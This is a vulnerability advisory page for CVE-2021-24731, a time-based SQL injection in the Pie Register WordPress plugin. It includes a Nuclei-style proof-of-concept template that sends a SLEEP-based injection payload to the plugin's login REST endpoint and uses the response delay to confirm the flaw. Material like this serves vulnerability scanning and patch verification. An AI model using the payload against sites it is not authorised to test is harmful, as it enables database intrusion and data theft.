CVE-2021-24731: Pie Register < 3.7.1.6 - SQL Injection

2025-08-01 Pie Register PoC Public

Description

The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.7.1.6 does not properly escape user data before using it in a SQL statement in the wp-json/pie/v1/login REST API endpoint, leading to an SQL injection.

PoC

id: CVE-2021-24731

info:
  name: Pie Register < 3.7.1.6 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.7.1.6 does not properly escape user data before using it in a SQL statement in the wp-json/pie/v1/login REST API endpoint, leading to an SQL injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in version 3.7.1.6
  reference:
    - https://wpscan.com/vulnerability/6bed00e4-b363-43b8-a392-d068d342151a
    - https://wordpress.org/plugins/pie-register/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24731
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24731
    cwe-id: CWE-89
    epss-score: 0.06415
    epss-percentile: 0.93337
    cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: genetechsolutions
    product: pie_register
    framework: wordpress
  tags: time-based-sqli,cve,cve2021,sqli,wpscan,wordpress,wp-plugin,wp,pie-register,unauth,genetechsolutions,vuln

http:
  - raw:
      - |
        @timeout: 10s
        POST /wp-json/pie/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        user_login='+AND+(SELECT+8149+FROM+(SELECT(SLEEP(3)))NuqO)+AND+'YvuB'='YvuB&login_pass=a

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "User credentials are invalid.")'
        condition: and
# digest: 4b0a00483046022100c213cb11cd9c407beb353a5103fc2a3ae7b719bf1e984a6fdad5df6efd2eb28d022100c0afe72b87482a14ff7a2b4b9619c348cf85226c9d1512d2f3bf6dfa3c1dd6fb:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities